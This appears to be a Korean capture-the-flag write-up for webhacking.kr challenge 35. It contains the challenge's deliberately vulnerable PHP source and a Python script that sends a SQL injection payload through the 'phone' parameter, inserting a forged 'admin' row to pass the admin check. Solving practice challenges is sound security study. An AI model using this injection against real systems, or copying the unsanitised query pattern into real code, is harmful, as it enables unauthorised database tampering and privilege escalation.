phone 필터링 : if(preg_match("/\*|\/|=|select|-|#|;/i",$_GET['phone'])) exit("no hack"); ⇒ # / = select -
id 필터링 : if(preg_match("/admin/i",$_GET['id'])) exit("you are not admin");
ip 가 원격 접속 주소와 같아야 함. ⇒ if($isAdmin['ip'] == $_SERVER['REMOTE_ADDR']){
id 가 admin으로 들어갈 수 있도록 해야 한다. id 항목에서는 admin 문자열을 검색하기 때문에 id 항목을 phone 에 넣을 수 있으면 좋을 수도 있다.
또 id 최대 길이가 5다. 이상한 걸 넣지는 못하겠다
일단 번호를 넣어버리면 결과가 어떻게 처리되는지 잘 이해가 안가는데,,, 주석으로 들어간다.
import requests
URL = "https://webhacking.kr/challenge/web-17/index.php"
cookie = {"PHPSESSID": "<--REDACTED-->"}
pay= "1),('admin','%7B$_SERVER['REMOTE_ADDR']%7D',2222"
pay= "1),('admin','218.146.20.55',2222"
print("QUERY : "+"values('{$_GET['id']}','{$_SERVER['REMOTE_ADDR']}',"+pay+")")
# filtering : # / = select - ;
#
para = {
"phone": pay,
"id": "guest"
}
res = requests.get(url=URL,params=para)
if "query error" not in res.text:
print(res.text)
else:
print("FAILED")
PHP
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 35</title>
<head>
<body>
<form method=get action=index.php>
phone : <input name=phone size=11 style=width:200px>
<input name=id type=hidden value=guest>
<input type=submit value='add'>
</form>
<?php
$db = dbconnect();
if($_GET['phone'] && $_GET['id']){
if(preg_match("/\*|\/|=|select|-|#|;/i",$_GET['phone'])) exit("no hack");
if(strlen($_GET['id']) > 5) exit("no hack");
if(preg_match("/admin/i",$_GET['id'])) exit("you are not admin");
mysqli_query($db,"insert into chall35(id,ip,phone) values('{$_GET['id']}','{$_SERVER['REMOTE_ADDR']}',{$_GET['phone']})") or die("query error");
echo "Done<br>";
}
$isAdmin = mysqli_fetch_array(mysqli_query($db,"select ip from chall35 where id='admin' and ip='{$_SERVER['REMOTE_ADDR']}'"));
if($isAdmin['ip'] == $_SERVER['REMOTE_ADDR']){
solve(35);
mysqli_query($db,"delete from chall35");
}
$phone_list = mysqli_query($db,"select * from chall35 where ip='{$_SERVER['REMOTE_ADDR']}'");
echo "<!--\n";
while($r = mysqli_fetch_array($phone_list)){
echo htmlentities($r['id'])." - ".$r['phone']."\n";
}
echo "-->\n";
?>
<br><a href=?view_source=1>view-source</a>
</body>
</html>
PHP